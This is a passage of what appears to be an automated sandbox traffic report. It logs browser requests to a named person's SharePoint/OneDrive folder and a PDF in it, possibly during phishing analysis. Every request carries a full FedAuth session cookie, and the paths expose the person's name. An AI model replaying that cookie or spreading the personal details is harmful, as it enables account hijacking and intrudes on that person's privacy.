FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjE0LDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzRlODU4MDg3YWY2NGE3NWI3YmJmZTQ5YzMyMmRmNGQyNTEzZGY4ZjZiMDgyZmY1Mzg1MWI2NjllYTgyMzU5YmYsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jNGU4NTgwODdhZjY0YTc1YjdiYmZlNDljMzIyZGY0ZDI1MTNkZjhmNmIwODJmZjUzODUxYjY2OWVhODIzNTliZiwxMzM4MTI1MDk4NzAwMDAwMDAsMCwxMzM4MTMzNzA4NzEwMjE2NTcsMC4wLjAuMCwyNTgsMTk3YmE3MjYtODdjYi00NzNlLWEyYTUtZDY4MWUwOWU1MTdlLCwsODAyMjc3YTEtYjBlNC03MDAwLTYzNTgtZDdmZjE2MjE2NzIzLDgwMjI3N2ExLWIwZTQtNzAwMC02MzU4LWQ3ZmYxNjIxNjcyMyx2SXFsdXViUmdFU3RZTGtBaWV3ZzVnLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTIyMzcsdVhlaFFKUGxlVmpOQ2Jha1VoR0Q2SXlGUVFrLGtfeFd2SF82b0huTTVLdW1HUE91U1hTLXpIQSxXMkxYOUZnSXozMXp0bHZsSERpM2VrKzM1dXQ0amJNUUVCdG90c3ZTQ0JKc216VWVaQVRqZXZnazdlZExQbjlJdkFYZGxCNU5KRjBqUjlxRnN4bFM3cUM3TnNNNWtOajc4MU1kU3k1WHpFMDB5ajFTZnAwQjZEK2JkTlUzR1JKdTRFMmRUanJhMlIza3pQa2J6bHhweGZUbG1taEVKVkE1SlloSnR0MURqNUFyRFVLczRsV1puaXpiNVNseGwvbEhQOGh1d2V5OGlXWlNMS1lrRVF1YzYyZGpnOHhzek5yR0tYZlcwdFlOelVXRCtacVRCL3ZFaUFvYXFoSWZYbXVlaXV2aXFXVjJJYmxjVThoUmdiRS9ObTVIUEF3K2FmdDRsSHFnaVJtU1dYczlCOWJpaWJDclpQZHV5aE5SM1ArOC9ndUFzWFkzOE1NdWtmQ0lDd1BQWFE9PTwvU1A+; FeatureOverrides_experiments=[]
Source: global traffic	HTTP traffic detected: GET /_layouts/15/odspserviceworkerproxy.aspx?swManifestName=spserviceworker&debug=false&bypass=false&navigationPreloadHeaderValue=%7B%22supportsFeatures%22%3A%5B1855%2C61313%5D%7D&dataHost=Nucleus&applications=%5B%7B%22id%22%3A%22STS%22%2C%22swPrefetchManifestName%22%3A%22stsserviceworkerprefetch%22%7D%2C%7B%22id%22%3A%22SPHome%22%7D%2C%7B%22id%22%3A%22SitePages%22%7D%2C%7B%22id%22%3A%22Embed%22%7D%2C%7B%22id%22%3A%22CreateGroup%22%7D%2C%7B%22id%22%3A%22SingleWebPart%22%7D%2C%7B%22id%22%3A%22VivaHome%22%7D%2C%7B%22id%22%3A%22BrokerLogon%22%7D%2C%7B%22id%22%3A%22Clipchamp%22%7D%2C%7B%22id%22%3A%22MeeBridge%22%7D%2C%7B%22id%22%3A%22SPStart%22%7D%2C%7B%22id%22%3A%22Agreements%22%7D%5D&list=v2&prefetchListData=true&defaultBrotli=true&authenticateFast=true&inlineAuth=v2&wwData=true&prefetchFilebrowserPageInTeams=true&FUIV9Flights=[-83099905,3]&spStartApplicationWebBundle=true&enableIntegrities=true&spartanOneDriveWireframe=true&streamViewServerLoad=true&streamInlineScript=true&siteConfigRace=true&listhandler=v2 HTTP/1.1Host: organismekina8at-my.sharepoint.comConnection: keep-aliveCache-Control: max-age=0Accept: */*Service-Worker: scriptSec-Fetch-Site: same-originSec-Fetch-Mode: same-originSec-Fetch-Dest: serviceworkerReferer: https://organismekina8at-my.sharepoint.com/personal/mariejoelle_tremblay_kina8at_ca/_layouts/15/onedrive.aspx?id=%2Fpersonal%2Fmariejoelle%5Ftremblay%5Fkina8at%5Fca%2FDocuments%2FPerso%2FOrganisme%20Kina8a&ga=1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjE0LDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzRlODU4MDg3YWY2NGE3NWI3YmJmZTQ5YzMyMmRmNGQyNTEzZGY4ZjZiMDgyZmY1Mzg1MWI2NjllYTgyMzU5YmYsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jNGU4NTgwODdhZjY0YTc1YjdiYmZlNDljMzIyZGY0ZDI1MTNkZjhmNmIwODJmZjUzODUxYjY2OWVhODIzNTliZiwxMzM4MTI1MDk4NzAwMDAwMDAsMCwxMzM4MTMzNzA4NzEwMjE2NTcsMC4wLjAuMCwyNTgsMTk3YmE3MjYtODdjYi00NzNlLWEyYTUtZDY4MWUwOWU1MTdlLCwsODAyMjc3YTEtYjBlNC03MDAwLTYzNTgtZDdmZjE2MjE2NzIzLDgwMjI3N2ExLWIwZTQtNzAwMC02MzU4LWQ3ZmYxNjIxNjcyMyx2SXFsdXViUmdFU3RZTGtBaWV3ZzVnLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTIyMzcsdVhlaFFKUGxlVmpOQ2Jha1VoR0Q2SXlGUVFrLGtfeFd2SF82b0huTTVLdW1HUE91U1hTLXpIQSxXMkxYOUZnSXozMXp0bHZsSERpM2VrKzM1dXQ0amJNUUVCdG90c3ZTQ0JKc216VWVaQVRqZXZnazdlZExQbjlJdkFYZGxCNU5KRjBqUjlxRnN4bFM3cUM3TnNNNWtOajc4MU1kU3k1WHpFMDB5ajFTZnAwQjZEK2JkTlUzR1JKdTRFMmRUanJhMlIza3pQa2J6bHhweGZUbG1taEVKVkE1SlloSnR0MURqNUFyRFVLczRsV1puaXpiNVNseGwvbEhQOGh1d2V5OGlXWlNMS1lrRVF1YzYyZGpnOHhzek5yR0tYZlcwdFlOelVXRCtacVRCL3ZFaUFvYXFoSWZYbXVlaXV2aXFXVjJJYmxjVThoUmdiRS9ObTVIUEF3K2FmdDRsSHFnaVJtU1dYczlCOWJpaWJDclpQZHV5aE5SM1ArOC9ndUFzWFkzOE1NdWtmQ0lDd1BQWFE9PTwvU1A+; FeatureOverrides_experiments=[]
Source: global traffic	HTTP traffic detected: GET /personal/mariejoelle_tremblay_kina8at_ca/_api/web/GetListUsingPath(DecodedUrl=@a1)/RenderListDataAsStream?@a1=%27%2Fpersonal%2Fmariejoelle%5Ftremblay%5Fkina8at%5Fca%2FDocuments%27&TryNewExperienceSingle=TRUE HTTP/1.1Host: organismekina8at-my.sharepoint.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjE0LDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzRlODU4MDg3YWY2NGE3NWI3YmJmZTQ5YzMyMmRmNGQyNTEzZGY4ZjZiMDgyZmY1Mzg1MWI2NjllYTgyMzU5YmYsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jNGU4NTgwODdhZjY0YTc1YjdiYmZlNDljMzIyZGY0ZDI1MTNkZjhmNmIwODJmZjUzODUxYjY2OWVhODIzNTliZiwxMzM4MTI1MDk4NzAwMDAwMDAsMCwxMzM4MTMzNzA4NzEwMjE2NTcsMC4wLjAuMCwyNTgsMTk3YmE3MjYtODdjYi00NzNlLWEyYTUtZDY4MWUwOWU1MTdlLCwsODAyMjc3YTEtYjBlNC03MDAwLTYzNTgtZDdmZjE2MjE2NzIzLDgwMjI3N2ExLWIwZTQtNzAwMC02MzU4LWQ3ZmYxNjIxNjcyMyx2SXFsdXViUmdFU3RZTGtBaWV3ZzVnLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTIyMzcsdVhlaFFKUGxlVmpOQ2Jha1VoR0Q2SXlGUVFrLGtfeFd2SF82b0huTTVLdW1HUE91U1hTLXpIQSxXMkxYOUZnSXozMXp0bHZsSERpM2VrKzM1dXQ0amJNUUVCdG90c3ZTQ0JKc216VWVaQVRqZXZnazdlZExQbjlJdkFYZGxCNU5KRjBqUjlxRnN4bFM3cUM3TnNNNWtOajc4MU1kU3k1WHpFMDB5ajFTZnAwQjZEK2JkTlUzR1JKdTRFMmRUanJhMlIza3pQa2J6bHhweGZUbG1taEVKVkE1SlloSnR0MURqNUFyRFVLczRsV1puaXpiNVNseGwvbEhQOGh1d2V5OGlXWlNMS1lrRVF1YzYyZGpnOHhzek5yR0tYZlcwdFlOelVXRCtacVRCL3ZFaUFvYXFoSWZYbXVlaXV2aXFXVjJJYmxjVThoUmdiRS9ObTVIUEF3K2FmdDRsSHFnaVJtU1dYczlCOWJpaWJDclpQZHV5aE5SM1ArOC9ndUFzWFkzOE1NdWtmQ0lDd1BQWFE9PTwvU1A+; FeatureOverrides_experiments=[]
Source: global traffic	HTTP traffic detected: GET /personal/mariejoelle_tremblay_kina8at_ca/_api/v2.0/sites/%7Bedb7fccf-ce0f-4907-876f-de62036c990a%7D/lists/%7B914dbd0b-f1e8-4f21-88fb-5faec2f376ae%7D/items/delta?token=latest HTTP/1.1Host: organismekina8at-my.sharepoint.comConnection: keep-aliveX-RestrictedReadCapabilities: ForceCheckOut,RequiredColumn,ContentApproval,Irm,ExcludeFromOfflineClient,DocumentParser,DraftItemSecurity,ItemLevelPermissionsUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/json;odata=verboseAccept: */*Sec-Fetch-Site: same-originSec-Fetch-Mode: same-originSec-Fetch-Dest: emptyReferer: https://organismekina8at-my.sharepoint.com/personal/mariejoelle_tremblay_kina8at_ca/_layouts/15/serviceworkerproxy.aspx?serviceWorkerUrl=https%3A%2F%2Fres-1.cdn.office.net%2Ffiles%2Fodsp-web-prod_2024-11-29.005%2Fodspwebworkers%2Fen-us%2Fspartanlistpostpltworker.jsAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjE0LDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzRlODU4MDg3YWY2NGE3NWI3YmJmZTQ5YzMyMmRmNGQyNTEzZGY4ZjZiMDgyZmY1Mzg1MWI2NjllYTgyMzU5YmYsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jNGU4NTgwODdhZjY0YTc1YjdiYmZlNDljMzIyZGY0ZDI1MTNkZjhmNmIwODJmZjUzODUxYjY2OWVhODIzNTliZiwxMzM4MTI1MDk4NzAwMDAwMDAsMCwxMzM4MTMzNzA4NzEwMjE2NTcsMC4wLjAuMCwyNTgsMTk3YmE3MjYtODdjYi00NzNlLWEyYTUtZDY4MWUwOWU1MTdlLCwsODAyMjc3YTEtYjBlNC03MDAwLTYzNTgtZDdmZjE2MjE2NzIzLDgwMjI3N2ExLWIwZTQtNzAwMC02MzU4LWQ3ZmYxNjIxNjcyMyx2SXFsdXViUmdFU3RZTGtBaWV3ZzVnLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTIyMzcsdVhlaFFKUGxlVmpOQ2Jha1VoR0Q2SXlGUVFrLGtfeFd2SF82b0huTTVLdW1HUE91U1hTLXpIQSxXMkxYOUZnSXozMXp0bHZsSERpM2VrKzM1dXQ0amJNUUVCdG90c3ZTQ0JKc216VWVaQVRqZXZnazdlZExQbjlJdkFYZGxCNU5KRjBqUjlxRnN4bFM3cUM3TnNNNWtOajc4MU1kU3k1WHpFMDB5ajFTZnAwQjZEK2JkTlUzR1JKdTRFMmRUanJhMlIza3pQa2J6bHhweGZUbG1taEVKVkE1SlloSnR0MURqNUFyRFVLczRsV1puaXpiNVNseGwvbEhQOGh1d2V5OGlXWlNMS1lrRVF1YzYyZGpnOHhzek5yR0tYZlcwdFlOelVXRCtacVRCL3ZFaUFvYXFoSWZYbXVlaXV2aXFXVjJJYmxjVThoUmdiRS9ObTVIUEF3K2FmdDRsSHFnaVJtU1dYczlCOWJpaWJDclpQZHV5aE5SM1ArOC9ndUFzWFkzOE1NdWtmQ0lDd1BQWFE9PTwvU1A+; FeatureOverrides_experiments=[]
Source: global traffic	HTTP traffic detected: GET /personal/mariejoelle_tremblay_kina8at_ca/_api/v2.0/sites/root/lists/%7B914dbd0b-f1e8-4f21-88fb-5faec2f376ae%7D/subscriptions/socketIo?listItemIds= HTTP/1.1Host: organismekina8at-my.sharepoint.comConnection: keep-alivePrefer: NotificationSessionUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/json;odata=verboseAccept: */*Sec-Fetch-Site: same-originSec-Fetch-Mode: same-originSec-Fetch-Dest: emptyReferer: https://organismekina8at-my.sharepoint.com/personal/mariejoelle_tremblay_kina8at_ca/_layouts/15/serviceworkerproxy.aspx?serviceWorkerUrl=https%3A%2F%2Fres-1.cdn.office.net%2Ffiles%2Fodsp-web-prod_2024-11-29.005%2Fodspwebworkers%2Fen-us%2Fspartanlistpostpltworker.jsAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjE0LDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzRlODU4MDg3YWY2NGE3NWI3YmJmZTQ5YzMyMmRmNGQyNTEzZGY4ZjZiMDgyZmY1Mzg1MWI2NjllYTgyMzU5YmYsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jNGU4NTgwODdhZjY0YTc1YjdiYmZlNDljMzIyZGY0ZDI1MTNkZjhmNmIwODJmZjUzODUxYjY2OWVhODIzNTliZiwxMzM4MTI1MDk4NzAwMDAwMDAsMCwxMzM4MTMzNzA4NzEwMjE2NTcsMC4wLjAuMCwyNTgsMTk3YmE3MjYtODdjYi00NzNlLWEyYTUtZDY4MWUwOWU1MTdlLCwsODAyMjc3YTEtYjBlNC03MDAwLTYzNTgtZDdmZjE2MjE2NzIzLDgwMjI3N2ExLWIwZTQtNzAwMC02MzU4LWQ3ZmYxNjIxNjcyMyx2SXFsdXViUmdFU3RZTGtBaWV3ZzVnLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTIyMzcsdVhlaFFKUGxlVmpOQ2Jha1VoR0Q2SXlGUVFrLGtfeFd2SF82b0huTTVLdW1HUE91U1hTLXpIQSxXMkxYOUZnSXozMXp0bHZsSERpM2VrKzM1dXQ0amJNUUVCdG90c3ZTQ0JKc216VWVaQVRqZXZnazdlZExQbjlJdkFYZGxCNU5KRjBqUjlxRnN4bFM3cUM3TnNNNWtOajc4MU1kU3k1WHpFMDB5ajFTZnAwQjZEK2JkTlUzR1JKdTRFMmRUanJhMlIza3pQa2J6bHhweGZUbG1taEVKVkE1SlloSnR0MURqNUFyRFVLczRsV1puaXpiNVNseGwvbEhQOGh1d2V5OGlXWlNMS1lrRVF1YzYyZGpnOHhzek5yR0tYZlcwdFlOelVXRCtacVRCL3ZFaUFvYXFoSWZYbXVlaXV2aXFXVjJJYmxjVThoUmdiRS9ObTVIUEF3K2FmdDRsSHFnaVJtU1dYczlCOWJpaWJDclpQZHV5aE5SM1ArOC9ndUFzWFkzOE1NdWtmQ0lDd1BQWFE9PTwvU1A+; FeatureOverrides_experiments=[]
Source: global traffic	HTTP traffic detected: GET /personal/mariejoelle_tremblay_kina8at_ca/_api/v2.0/sites/%7Bedb7fccf-ce0f-4907-876f-de62036c990a%7D/lists/%7B914dbd0b-f1e8-4f21-88fb-5faec2f376ae%7D/items/delta?token=latest HTTP/1.1Host: organismekina8at-my.sharepoint.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjE0LDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzRlODU4MDg3YWY2NGE3NWI3YmJmZTQ5YzMyMmRmNGQyNTEzZGY4ZjZiMDgyZmY1Mzg1MWI2NjllYTgyMzU5YmYsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jNGU4NTgwODdhZjY0YTc1YjdiYmZlNDljMzIyZGY0ZDI1MTNkZjhmNmIwODJmZjUzODUxYjY2OWVhODIzNTliZiwxMzM4MTI1MDk4NzAwMDAwMDAsMCwxMzM4MTMzNzA4NzEwMjE2NTcsMC4wLjAuMCwyNTgsMTk3YmE3MjYtODdjYi00NzNlLWEyYTUtZDY4MWUwOWU1MTdlLCwsODAyMjc3YTEtYjBlNC03MDAwLTYzNTgtZDdmZjE2MjE2NzIzLDgwMjI3N2ExLWIwZTQtNzAwMC02MzU4LWQ3ZmYxNjIxNjcyMyx2SXFsdXViUmdFU3RZTGtBaWV3ZzVnLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTIyMzcsdVhlaFFKUGxlVmpOQ2Jha1VoR0Q2SXlGUVFrLGtfeFd2SF82b0huTTVLdW1HUE91U1hTLXpIQSxXMkxYOUZnSXozMXp0bHZsSERpM2VrKzM1dXQ0amJNUUVCdG90c3ZTQ0JKc216VWVaQVRqZXZnazdlZExQbjlJdkFYZGxCNU5KRjBqUjlxRnN4bFM3cUM3TnNNNWtOajc4MU1kU3k1WHpFMDB5ajFTZnAwQjZEK2JkTlUzR1JKdTRFMmRUanJhMlIza3pQa2J6bHhweGZUbG1taEVKVkE1SlloSnR0MURqNUFyRFVLczRsV1puaXpiNVNseGwvbEhQOGh1d2V5OGlXWlNMS1lrRVF1YzYyZGpnOHhzek5yR0tYZlcwdFlOelVXRCtacVRCL3ZFaUFvYXFoSWZYbXVlaXV2aXFXVjJJYmxjVThoUmdiRS9ObTVIUEF3K2FmdDRsSHFnaVJtU1dYczlCOWJpaWJDclpQZHV5aE5SM1ArOC9ndUFzWFkzOE1NdWtmQ0lDd1BQWFE9PTwvU1A+; FeatureOverrides_experiments=[]
Source: global traffic	HTTP traffic detected: GET /_layouts/15/SPComponentRegistry.ashx?projects=[%22STS%22]&languages=%5B%5D HTTP/1.1Host: organismekina8at-my.sharepoint.comConnection: keep-aliveAccept: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/jsonSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://organismekina8at-my.sharepoint.com/_layouts/15/odspserviceworkerproxy.aspx?swManifestName=spserviceworker&debug=false&bypass=false&navigationPreloadHeaderValue=%7B%22supportsFeatures%22%3A%5B1855%2C61313%5D%7D&dataHost=Nucleus&applications=%5B%7B%22id%22%3A%22STS%22%2C%22swPrefetchManifestName%22%3A%22stsserviceworkerprefetch%22%7D%2C%7B%22id%22%3A%22SPHome%22%7D%2C%7B%22id%22%3A%22SitePages%22%7D%2C%7B%22id%22%3A%22Embed%22%7D%2C%7B%22id%22%3A%22CreateGroup%22%7D%2C%7B%22id%22%3A%22SingleWebPart%22%7D%2C%7B%22id%22%3A%22VivaHome%22%7D%2C%7B%22id%22%3A%22BrokerLogon%22%7D%2C%7B%22id%22%3A%22Clipchamp%22%7D%2C%7B%22id%22%3A%22MeeBridge%22%7D%2C%7B%22id%22%3A%22SPStart%22%7D%2C%7B%22id%22%3A%22Agreements%22%7D%5D&list=v2&prefetchListData=true&defaultBrotli=true&authenticateFast=true&inlineAuth=v2&wwData=true&prefetchFilebrowserPageInTeams=true&FUIV9Flights=[-83099905,3]&spStartApplicationWebBundle=true&enableIntegrities=true&spartanOneDriveWireframe=true&streamViewServerLoad=true&streamInlineScript=true&siteConfigRace=true&listhandler=v2Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjE0LDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzRlODU4MDg3YWY2NGE3NWI3YmJmZTQ5YzMyMmRmNGQyNTEzZGY4ZjZiMDgyZmY1Mzg1MWI2NjllYTgyMzU5YmYsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jNGU4NTgwODdhZjY0YTc1YjdiYmZlNDljMzIyZGY0ZDI1MTNkZjhmNmIwODJmZjUzODUxYjY2OWVhODIzNTliZiwxMzM4MTI1MDk4NzAwMDAwMDAsMCwxMzM4MTMzNzA4NzEwMjE2NTcsMC4wLjAuMCwyNTgsMTk3YmE3MjYtODdjYi00NzNlLWEyYTUtZDY4MWUwOWU1MTdlLCwsODAyMjc3YTEtYjBlNC03MDAwLTYzNTgtZDdmZjE2MjE2NzIzLDgwMjI3N2ExLWIwZTQtNzAwMC02MzU4LWQ3ZmYxNjIxNjcyMyx2SXFsdXViUmdFU3RZTGtBaWV3ZzVnLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTIyMzcsdVhlaFFKUGxlVmpOQ2Jha1VoR0Q2SXlGUVFrLGtfeFd2SF82b0huTTVLdW1HUE91U1hTLXpIQSxXMkxYOUZnSXozMXp0bHZsSERpM2VrKzM1dXQ0amJNUUVCdG90c3ZTQ0JKc216VWVaQVRqZXZnazdlZExQbjlJdkFYZGxCNU5KRjBqUjlxRnN4bFM3cUM3TnNNNWtOajc4MU1kU3k1WHpFMDB5ajFTZnAwQjZEK2JkTlUzR1JKdTRFMmRUanJhMlIza3pQa2J6bHhweGZUbG1taEVKVkE1SlloSnR0MURqNUFyRFVLczRsV1puaXpiNVNseGwvbEhQOGh1d2V5OGlXWlNMS1lrRVF1YzYyZGpnOHhzek5yR0tYZlcwdFlOelVXRCtacVRCL3ZFaUFvYXFoSWZYbXVlaXV2aXFXVjJJYmxjVThoUmdiRS9ObTVIUEF3K2FmdDRsSHFnaVJtU1dYczlCOWJpaWJDclpQZHV5aE5SM1ArOC9ndUFzWFkzOE1NdWtmQ0lDd1BQWFE9PTwvU1A+; FeatureOverrides_experiments=[]
Source: global traffic	HTTP traffic detected: GET /_api/v2.0/drives/b!z_y37Q_OB0mHb95iA2yZCrLfKfFVdWlMkFzuCIvVu2MLvU2R6PEhT4j7X67C83au/items/01MQ63BV6AMGWXN5YF3FDZEJW3JVXZVQXJ?select=id%2C%40content.downloadUrl HTTP/1.1Host: organismekina8at-my.sharepoint.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept: application/jsonAccept-Language: en-USsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://organismekina8at-my.sharepoint.com/personal/mariejoelle_tremblay_kina8at_ca/_layouts/15/onedrive.aspx?ga=1&id=%2Fpersonal%2Fmariejoelle%5Ftremblay%5Fkina8at%5Fca%2FDocuments%2FPerso%2FOrganisme%20Kina8a%2FOrganisme%20Kina8a%2Epdf&parent=%2Fpersonal%2Fmariejoelle%5Ftremblay%5Fkina8at%5Fca%2FDocuments%2FPerso%2FOrganisme%20Kina8aAccept-Encoding: gzip, deflate, brCookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjE0LDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzRlODU4MDg3YWY2NGE3NWI3YmJmZTQ5YzMyMmRmNGQyNTEzZGY4ZjZiMDgyZmY1Mzg1MWI2NjllYTgyMzU5YmYsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jNGU4NTgwODdhZjY0YTc1YjdiYmZlNDljMzIyZGY0ZDI1MTNkZjhmNmIwODJmZjUzODUxYjY2OWVhODIzNTliZiwxMzM4MTI1MDk4NzAwMDAwMDAsMCwxMzM4MTMzNzA4NzEwMjE2NTcsMC4wLjAuMCwyNTgsMTk3YmE3MjYtODdjYi00NzNlLWEyYTUtZDY4MWUwOWU1MTdlLCwsODAyMjc3YTEtYjBlNC03MDAwLTYzNTgtZDdmZjE2MjE2NzIzLDgwMjI3N2ExLWIwZTQtNzAwMC02MzU4LWQ3ZmYxNjIxNjcyMyx2SXFsdXViUmdFU3RZTGtBaWV3ZzVnLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTIyMzcsdVhlaFFKUGxlVmpOQ2Jha1VoR0Q2SXlGUVFrLGtfeFd2SF82b0huTTVLdW1HUE91U1hTLXpIQSxXMkxYOUZnSXozMXp0bHZsSERpM2VrKzM1dXQ0amJNUUVCdG90c3ZTQ0JKc216VWVaQVRqZXZnazdlZExQbjlJdkFYZGxCNU5KRjBqUjlxRnN4bFM3cUM3TnNNNWtOajc4MU1kU3k1WHpFMDB5ajFTZnAwQjZEK2JkTlUzR1JKdTRFMmRUanJhMlIza3pQa2J6bHhweGZUbG1taEVKVkE1SlloSnR0MURqNUFyRFVLczRsV1puaXpiNVNseGwvbEhQOGh1d2V5OGlXWlNMS1lrRVF1YzYyZGpnOHhzek5yR0tYZlcwdFlOelVXRCtacVRCL3ZFaUFvYXFoSWZYbXVlaXV2aXFXVjJJYmxjVThoUmdiRS9ObTVIUEF3K2FmdDRsSHFnaVJtU1dYczlCOWJpaWJDclpQZHV5aE5SM1ArOC9ndUFzWFkzOE1NdWtmQ0lDd1BQWFE9PTwvU1A+; FeatureOverrides_experiments=[]
Source: global traffic	HTTP traffic detected: GET /_api/v2.0/drives/b!z_y37Q_OB0mHb95iA2yZCrLfKfFVdWlMkFzuCIvVu2MLvU2R6PEhT4j7X67C83au/items/01MQ63BV6AMGWXN5YF3FDZEJW3JVXZVQXJ?select=id%2C%40content.downloadUrl HTTP/1.1Host: organismekina8at-my.sharepoint.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjE0LDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzRlODU4MDg3YWY2NGE3NWI3YmJmZTQ5YzMyMmRmNGQyNTEzZGY4ZjZiMDgyZmY1Mzg1MWI2NjllYTgyMzU5YmYsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jNGU4NTgwODdhZjY0YTc1YjdiYmZlNDljMzIyZGY0ZDI1MTNkZjhmNmIwODJmZjUzODUxYjY2OWVhODIzNTliZiwxMzM4MTI1MDk4NzAwMDAwMDAsMCwxMzM4MTMzNzA4NzEwMjE2NTcsMC4wLjAuMCwyNTgsMTk3YmE3MjYtODdjYi00NzNlLWEyYTUtZDY4MWUwOWU1MTdlLCwsODAyMjc3YTEtYjBlNC03MDAwLTYzNTgtZDdmZjE2MjE2NzIzLDgwMjI3N2ExLWIwZTQtNzAwMC02MzU4LWQ3ZmYxNjIxNjcyMyx2SXFsdXViUmdFU3RZTGtBaWV3ZzVnLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTIyMzcsdVhlaFFKUGxlVmpOQ2Jha1VoR0Q2SXlGUVFrLGtfeFd2SF82b0huTTVLdW1HUE91U1hTLXpIQSxXMkxYOUZnSXozMXp0bHZsSERpM2VrKzM1dXQ0amJNUUVCdG90c3ZTQ0JKc216VWVaQVRqZXZnazdlZExQbjlJdkFYZGxCNU5KRjBqUjlxRnN4bFM3cUM3TnNNNWtOajc4MU1kU3k1WHpFMDB5ajFTZnAwQjZEK2JkTlUzR1JKdTRFMmRUanJhMl